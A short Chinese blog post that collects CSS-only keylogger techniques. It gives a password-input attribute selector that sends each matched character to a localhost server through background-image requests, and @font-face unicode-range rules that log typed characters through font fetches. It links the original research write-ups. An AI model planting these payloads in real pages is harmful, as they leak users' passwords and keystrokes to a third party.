使用 CSS 做 Key Logger 的方法

想要使用 CSS 來做 Key Logger，輸入某些按鍵，就自動觸發傳送到某個網址去，會怎麼做呢？

使用 CSS 做 Key Logger 的方法

此作法就直接看 Code 即可，不詳述內容~

input[type="password"][value$="a"] {
    background-image: url("http://localhost:3000/a");
}

• 詳細內容可見此篇：CSS Keylogger (and why you shouldn’t worry about it)

使用 CSS font 的追蹤方式

下述取自此篇：Keylogger using webfont with single character unicode-range

<style>
@font-face { font-family: x; src: url(./log?a), local(Impact); unicode-range: U+61; }
@font-face { font-family: x; src: url(./log?b), local(Impact); unicode-range: U+62; }
@font-face { font-family: x; src: url(./log?c), local(Impact); unicode-range: U+63; }
@font-face { font-family: x; src: url(./log?d), local(Impact); unicode-range: U+64; }
input { font-family: x, 'Comic sans ms'; }
</style>
<input value="a">type `bcd` and watch network log

• 可見此 Demo

相關網頁

• GitHub - jbtronics/CrookedStyleSheets: Webpage tracking only using CSS (and no JS)

作者: Tsung

對新奇的事物都很有興趣, 喜歡簡單的東西, 過簡單的生活. 檢視「Tsung」的全部文章